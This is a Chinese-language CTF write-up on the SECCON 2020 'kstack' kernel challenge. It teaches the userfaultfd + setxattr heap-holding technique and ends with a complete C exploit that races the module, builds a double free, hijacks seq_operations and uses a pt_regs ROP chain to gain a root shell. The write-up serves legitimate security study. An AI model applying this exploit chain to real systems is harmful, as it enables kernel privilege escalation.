从 SECCON2020 一道 kernel pwn 看 userfaultfd + setxattr “堆占位”技术

 

0x00.一切开始之前

或许大部分 kernel hacker 在阅读本篇文章之前便已经听说过 userfaultfd + setxattr 这一内核堆利用技术,亦或是自己成功利用该技术完成对内核中一些漏洞的利用(例如 CVE-2019-15666),此时看到“堆占位”这一名称或许会感到有些疑惑——因为这两个技术相结合的利用或许与“堆喷射”(heap spray)有关?

在开始之前笔者需要向大家说明——是的,userfaultfd + setxattr 确乎是通用的内核堆喷射技术,但当我们将这一技术放在对一些特定漏洞上的利用(例如 UAF)时,“堆喷射”这一名称似乎并不适用——因为此时我们并不需要“喷射”(分配)大量的 object,而是需要在特定的时间节点完成对特定的 object 的写入与占用,因此笔者也参照网上一些文章的说法将这种利用手法称之为“堆占位”技术

按照惯例,我们还是以一道 CTF 题目作为切入点,因为相比起真实的漏洞利用,CTF题目的简洁性能够帮助我们更快地理解与掌握一项技术的本质

若是你对于 userfaultfd 在内核空间中的利用并不熟悉,可以先阅读笔者此前发表在安全客上的这篇文章:从强网杯 2021 线上赛题目 notebook 中浅析 userfaultfd 在 kernel pwn 中的利用,本篇笔者不会重复叙述 userfaultfd 相关的基础知识来骗稿费(笑)(我可谢谢您嘞)

 

0x01.setxattr 系统调用

setxattr 是一个十分独特的系统调用族,抛开其本身的功能,在 kernel 的利用当中他可以为我们提供近乎任意大小的内核空间 object 分配

观察 setxattr 源码,发现如下调用链:

SYS_setxattr()
    path_setxattr()
        setxattr()

setxattr() 函数中有如下逻辑:

static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
     size_t size, int flags)
{
    //...
        kvalue = kvmalloc(size, GFP_KERNEL);
        if (!kvalue)
            return -ENOMEM;
        if (copy_from_user(kvalue, value, size)) {

    //,..

    kvfree(kvalue);

    return error;
}

那么这里 setxattr 系统调用便提供给我们这样一条调用链:

  • 在内核空间分配 object
  • 向 object 内写入内容
  • 释放分配的 object

这里的 value 和 size 都是由我们来指定的,即我们可以分配任意大小的 object 并向其中写入内容

setxattr 与 userfaultfd

虽然我们通过 setxattr 系统调用可以在内核空间中分配任意大小的 object 并写入任意内容,但是该 object 在 setxattr 执行结束时又会被放回 freelist 中,那我们将前功尽弃

重新考虑 setxattr 的执行流程,其中会调用 copy_from_user 从用户空间拷贝数据,那么让我们考虑如下场景:

我们通过 mmap 分配连续的两个页面,在第二个页面上启用 userfaultfd 监视,并在第一个页面的末尾写入我们想要的数据,此时我们调用 setxattr 进行跨页面的拷贝,当 copy_from_user 拷贝到第二个页面时便会触发 userfaultfd,从而让 setxattr 的执行流程卡在此处,这样这个 object 就不会被释放掉,而是可以继续参与我们接下来的利用

这便是 setxattr + userfaultfd 结合的堆占位技术

 

0x02.SECCON 2020 kstack

分析

惯例地查看启动脚本:

#!/bin/sh
qemu-system-x86_64 \
    -m 512M \
    -kernel ./bzImage \
    -initrd ./rootfs.cpio \
    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr quiet" \
    -cpu kvm64,+smep \
    -net user -net nic -device e1000 \
    -monitor /dev/null \
    -nographic

开启了 smep 和 kaslr

查看 /sys/devices/system/cpu/vulnerabilities/*

/ $ cat /sys/devices/system/cpu/vulnerabilities/*
Processor vulnerable
Mitigation: PTE Inversion
Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown
Mitigation: PTI
Vulnerable
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Full generic retpoline, STIBP: disabled, RSB filling
Not affected

开启了 KPTI

拖入 IDA 中进行分析,发现只定义了一个 ioctl 的两种功能

建链表节点

先分析第一种功能,在这里先用 kmalloc 分配了一个 object,之后将其使用头插法通过全局变量 head 插入到单向链表中

分析可知其结构应当如下所示:

struct node
{
    void            *unknown;
    char             data[8];
    struct node     *next;
};

该结构体前八个字节是从 current_task 的某个特殊偏移取的值,经尝试可知为线程组 id,我们来看其分配过程,使用了 kmem_cache_alloc(kmalloc_caches[5], 0x60000C0),第二个参数是 flag ,为常规的 GFP_KERNEL,这里可以暂且忽略

现在我们来看第一个参数,笔者推测这应当是 gcc 优化 kmalloc 的结果;在内核中有一个数组 kmalloc_caches 存放 kmem_cache,在内核源码 mm/slab_common.c 中我们可以得知其初始化的大小

/*
 * kmalloc_info[] is to make slub_debug=,kmalloc-xx option work at boot time.
 * kmalloc_index() supports up to 2^25=32MB, so the final entry of the table is
 * kmalloc-32M.
 */
const struct kmalloc_info_struct kmalloc_info[] __initconst = {
    INIT_KMALLOC_INFO(0, 0),
    INIT_KMALLOC_INFO(96, 96),
    INIT_KMALLOC_INFO(192, 192),
    INIT_KMALLOC_INFO(8, 8),
    INIT_KMALLOC_INFO(16, 16),
    INIT_KMALLOC_INFO(32, 32),
//...

下标 [5] 即第六个 kmem_cache 为 kmalloc-32,由此我们可以得知分配的 object 大小为 0x20

删除链表节点

比较简单且常规的脱链操作,会将同一线程组创建的节点中的头节点删除,并将其 data 拷贝给用户

若并节点所属线程组与当前进程非同一线程组,则会一直找到那个线程组的节点或是遍历结束为止

分析下来,联想到题目名叫 k stack,我们不难猜出这是在模拟栈的 push 与 pop 操作

利用

我们注意到其拷贝时使用了 copy_from_user 与 copy_to_user,且 ioctl 操作全程没有加锁,这为 userfaultfd 提供了可能性

1)泄露内核基址:shm_file_data

在创建节点时先将新的 object 赋给 head 指针,之后再调用 copy_from_user,我们不难想到的是,可以通过 userfaultfd 让分配线程在 copy_from_user 这里卡住,之后我们在 userfaultfd 线程当中再将该 object 释放,这样我们就能够读出 8 字节的“脏数据”,那么在如此之前我们应当分配一个带有可用数据的结构体并释放

由于题目限制了分配的 object 的大小,故我们应当考虑从 kmallc-32 中分配的结构体,这里笔者选用 shm_file_data 这一结构体,其定义如下:

struct shm_file_data {
    int id;
    struct ipc_namespace *ns;
    struct file *file;
    const struct vm_operations_struct *vm_ops;
};

其中我们可以读取的 ns 域刚好指向内核 .text 段,由此我们可以泄露出内核基址

我们可以在通过 shmget 系统调用创建共享内存之后通过 shmat 系统调用获得该结构体,通过 shmdt 我们可以释放该结构体

在这里有个笔者弄不明白原因的点:我们需要先创建 userfaultfd 线程后再进行 shm 操作,否则会失败,在笔者理解中这操作两个之间的顺序并不关键

2)构造 double free

构造 double free 的流程比较简单,我们只需要在 pop 时通过 copy_to_user 触发 userfaultfd,在 userfaultfd 线程中再 pop 一次即可

3)userfaultfd + setxattr 劫持 seq_operations 控制内核执行流

现在在 kmalloc-32 当中的第一个 object 指向自身,那么在接下来的两次分配中我们都将会获得同一个 object,第一次分配时笔者选择分配到 seq_operations 处,接下来我们通过 setxattr 再一次分配到该 object,通过 setxattr 更改 seq_operations 中的指针

由于我们需要劫持其第一个指针,故这里我们不能够让 setxattr 执行到末尾将 object 又释放掉,而应当在 setxattr 中的 copy_from_user 中用 userfaultfd 卡住,在 userfaultfd 线程中触发劫持后指针控制内核执行流

控制内核执行流后笔者选择用常规的 pt_regs 来完成 ROP

若你不知道 pt_regs 这一通用 kernel ROP 手法,可以先阅读考笔者往期的文章

4) 修复 kmalloc-32 的 freelist 拿到稳定 root shell

在我们通过 double free 完成利用之后,内核空间的 kmalloc-32 的 freelist已经被破坏了,此时我们若是直接起一个 shell 则会造成 kernel panic,因此我们在返回用户空间之后需要先修复 freelist

修复 freelist 只需要往里面放入一定数量的 object 即可,笔者选择在一开始时先多次打开 /proc/self/stat 分配大量 seq_operations 结构体做备用,之后在 setxattr 线程中将其全部释放,这样我们就能够完美着陆回用户态,安全地起一个稳定的 root shell

FINAL EXPLOIT

最终的 exp 如下:

kernelpwn.h

#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

void * kernel_base = 0xffffffff81000000;
size_t kernel_offset = 0;

static pthread_t monitor_thread;

void errExit(char * msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    exit(EXIT_FAILURE);
}

void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*))
{
    long uffd;
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    int s;

    /* Create and enable userfaultfd object */
    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1)
        errExit("userfaultfd");

    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
        errExit("ioctl-UFFDIO_API");

    uffdio_register.range.start = (unsigned long) addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
        errExit("ioctl-UFFDIO_REGISTER");

    s = pthread_create(&monitor_thread, NULL, handler, (void *) uffd);
    if (s != 0)
        errExit("pthread_create");
}

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

size_t commit_creds = NULL, prepare_kernel_cred = NULL;
void getRootPrivilige(void)
{
    void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
    int (*commit_creds_ptr)(void *) = commit_creds;
    (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void getRootShell(void)
{   
    puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");

    if(getuid())
    {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        exit(-1);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
    system("/bin/sh");
    exit(0);// to exit the process normally instead of segmentation fault
}

/* ------ kernel structure ------ */

struct file_operations;
struct tty_struct;
struct tty_driver;
struct serial_icounter_struct;

struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver,
            struct file *filp, int idx);
    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int  (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int  (*write)(struct tty_struct * tty,
              const unsigned char *buf, int count);
    int  (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    int  (*write_room)(struct tty_struct *tty);
    int  (*chars_in_buffer)(struct tty_struct *tty);
    int  (*ioctl)(struct tty_struct *tty,
            unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty,
                 unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty,
            unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
    int (*get_icount)(struct tty_struct *tty,
                struct serial_icounter_struct *icount);
    void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
    int (*poll_init)(struct tty_driver *driver, int line, char *options);
    int (*poll_get_char)(struct tty_driver *driver, int line);
    void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
    const struct file_operations *proc_fops;
};

exp.c

#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/xattr.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <semaphore.h>
#include "kernelpwn.h"

int             dev_fd;
size_t          seq_fd;
size_t          seq_fd_reserve[0x100];
static char     *page = NULL;
static size_t   page_size;

static void *
leak_thread(void *arg)
{
    struct uffd_msg msg;
    int fault_cnt = 0;
    long uffd;

    struct uffdio_copy uffdio_copy;
    ssize_t nread;

    uffd = (long) arg;

    for (;;) 
    {
        struct pollfd pollfd;
        int nready;
        pollfd.fd = uffd;
        pollfd.events = POLLIN;
        nready = poll(&pollfd, 1, -1);

        if (nready == -1)
            errExit("poll");

        nread = read(uffd, &msg, sizeof(msg));

        if (nread == 0)
            errExit("EOF on userfaultfd!\n");

        if (nread == -1)
            errExit("read");

        if (msg.event != UFFD_EVENT_PAGEFAULT)
            errExit("Unexpected event on userfaultfd\n");

        puts("[*] push trapped in userfaultfd.");
        pop(&kernel_offset);
        printf("[*] leak ptr: %p\n", kernel_offset);
        kernel_offset -= 0xffffffff81c37bc0;
        kernel_base += kernel_offset;

        uffdio_copy.src = (unsigned long) page;
        uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
                                              ~(page_size - 1);
        uffdio_copy.len = page_size;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
            errExit("ioctl-UFFDIO_COPY");

        return NULL;
    }
}

static void *
double_free_thread(void *arg)
{
    struct uffd_msg msg;
    int fault_cnt = 0;
    long uffd;

    struct uffdio_copy uffdio_copy;
    ssize_t nread;

    uffd = (long) arg;

    for (;;) 
    {
        struct pollfd pollfd;
        int nready;
        pollfd.fd = uffd;
        pollfd.events = POLLIN;
        nready = poll(&pollfd, 1, -1);

        if (nready == -1)
            errExit("poll");

        nread = read(uffd, &msg, sizeof(msg));

        if (nread == 0)
            errExit("EOF on userfaultfd!\n");

        if (nread == -1)
            errExit("read");

        if (msg.event != UFFD_EVENT_PAGEFAULT)
            errExit("Unexpected event on userfaultfd\n");

        puts("[*] pop trapped in userfaultfd.");
        puts("[*] construct the double free...");
        pop(page);

        uffdio_copy.src = (unsigned long) page;
        uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
                                              ~(page_size - 1);
        uffdio_copy.len = page_size;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
            errExit("ioctl-UFFDIO_COPY");

        return NULL;
    }
}

size_t  pop_rdi_ret = 0xffffffff81034505;
size_t  xchg_rax_rdi_ret = 0xffffffff81d8df6d;
size_t  mov_rdi_rax_pop_rbp_ret = 0xffffffff8121f89a;
size_t  swapgs_restore_regs_and_return_to_usermode = 0xffffffff81600a34;
long    flag_fd;
char    flag_buf[0x100];

static void *
hijack_thread(void *arg)
{
    struct uffd_msg msg;
    int fault_cnt = 0;
    long uffd;

    struct uffdio_copy uffdio_copy;
    ssize_t nread;

    uffd = (long) arg;

    for (;;) 
    {
        struct pollfd pollfd;
        int nready;
        pollfd.fd = uffd;
        pollfd.events = POLLIN;
        nready = poll(&pollfd, 1, -1);

        if (nready == -1)
            errExit("poll");

        nread = read(uffd, &msg, sizeof(msg));

        if (nread == 0)
            errExit("EOF on userfaultfd!\n");

        if (nread == -1)
            errExit("read");

        if (msg.event != UFFD_EVENT_PAGEFAULT)
            errExit("Unexpected event on userfaultfd\n");

        puts("[*] setxattr trapped in userfaultfd.");
        puts("[*] trigger now...");

        for (int i = 0; i < 100; i++)
            close(seq_fd_reserve[i]);

        // trigger
        pop_rdi_ret += kernel_offset;
        xchg_rax_rdi_ret += kernel_offset;
        mov_rdi_rax_pop_rbp_ret += kernel_offset;
        prepare_kernel_cred = 0xffffffff81069e00 + kernel_offset;
        commit_creds = 0xffffffff81069c10 + kernel_offset;
        swapgs_restore_regs_and_return_to_usermode += kernel_offset + 0x10;
        printf("[*] gadget: %p\n", swapgs_restore_regs_and_return_to_usermode);
        __asm__(
            "mov r15,   0xbeefdead;"
            "mov r14,   0x11111111;"
            "mov r13,   pop_rdi_ret;"
            "mov r12,   0;"
            "mov rbp,   prepare_kernel_cred;"
            "mov rbx,   mov_rdi_rax_pop_rbp_ret;"    
            "mov r11,   0x66666666;"
            "mov r10,   commit_creds;"
            "mov r9,    swapgs_restore_regs_and_return_to_usermode;"
            "mov r8,    0x99999999;"
            "xor rax,   rax;"
            "mov rcx,   0xaaaaaaaa;"
            "mov rdx,   8;"
            "mov rsi,   rsp;"
            "mov rdi,   seq_fd;"
            "syscall"
        );
        puts("[+] back to userland successfully!");
        printf("[+] uid: %d gid: %d\n", getuid(), getgid());
        puts("[*] execve root shell now...");
        system("/bin/sh");

        uffdio_copy.src = (unsigned long) page;
        uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
                                              ~(page_size - 1);
        uffdio_copy.len = page_size;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
            errExit("ioctl-UFFDIO_COPY");

        return NULL;
    }
}

void push(char *data)
{
    if (ioctl(dev_fd, 0x57AC0001, data) < 0)
        errExit("push!");
}

void pop(char *data)
{
    if (ioctl(dev_fd, 0x57AC0002, data) < 0)
        errExit("pop!");
}

int main(int argc, char **argv, char **envp)
{
    size_t      data[0x10];
    char        *uffd_buf_leak;
    char        *uffd_buf_uaf;
    char        *uffd_buf_hack;
    int         pipe_fd[2];
    int         shm_id;
    char        *shm_addr;

    dev_fd = open("/proc/stack", O_RDONLY);

    page = malloc(0x1000);
    page_size = sysconf(_SC_PAGE_SIZE);

    // reserve object to protect freelist
    for (int i = 0; i < 100; i++)
        if ((seq_fd_reserve[i] = open("/proc/self/stat", O_RDONLY)) < 0)
            errExit("seq reserve!");

    // create uffd thread for leak
    uffd_buf_leak = (char*) mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    registerUserFaultFd(uffd_buf_leak, page_size, leak_thread);

    // left dirty data in kmalloc-32
    shm_id = shmget(114514, 0x1000, SHM_R | SHM_W | IPC_CREAT);
    if (shm_id < 0)
        errExit("shmget!");
    shm_addr = shmat(shm_id, NULL, 0);
    if (shm_addr < 0)
        errExit("shmat!");
    if(shmdt(shm_addr) < 0)
        errExit("shmdt!");

    // leak kernel base    
    push(uffd_buf_leak);
    printf("[+] kernel offset: %p\n", kernel_offset);
    printf("[+] kernel base: %p\n", kernel_base);

    // create uffd thread for double free
    uffd_buf_uaf = (char*) mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    registerUserFaultFd(uffd_buf_uaf, page_size, double_free_thread);

    // construct the double free
    push("arttnba3");
    pop(uffd_buf_uaf);

    // create uffd thread for hijack
    uffd_buf_hack = (char*) mmap(NULL, page_size * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    registerUserFaultFd(uffd_buf_hack + page_size, page_size, hijack_thread);
    printf("[*] gadget: %p\n", 0xffffffff814d51c0 + kernel_offset);
    *(size_t *)(uffd_buf_hack + page_size - 8) = 0xffffffff814d51c0 + kernel_offset;    // add rsp , 0x1c8 ; pop rbx ; pop r12 ; pop r13 ; pop r14 ; pop r15; pop rbp ; ret

    // userfaultfd + setxattr to hijack the seq_ops->stat, trigger in uffd thread
    seq_fd = open("/proc/self/stat", O_RDONLY);
    setxattr("/exp", "arttnba3", uffd_buf_hack + page_size - 8, 32, 0);
}

运行即可 get root shell

 

0xFF.What’s more?

userfaultfd + setxattr 毫无疑问是一个十分巧妙的技术,除了笔者在本篇文章中所叙述的“堆占位”技术以外,他更多的被用于在内核空间中完成“堆喷射”,相比起 sendmsg 等传统堆喷射技术,这一技术的限制无疑少了很多,且也更为灵活

笔者将在后续的其他文章中叙述如何利用 userfaultfd + setxattr 这一技术完成堆喷射

(完)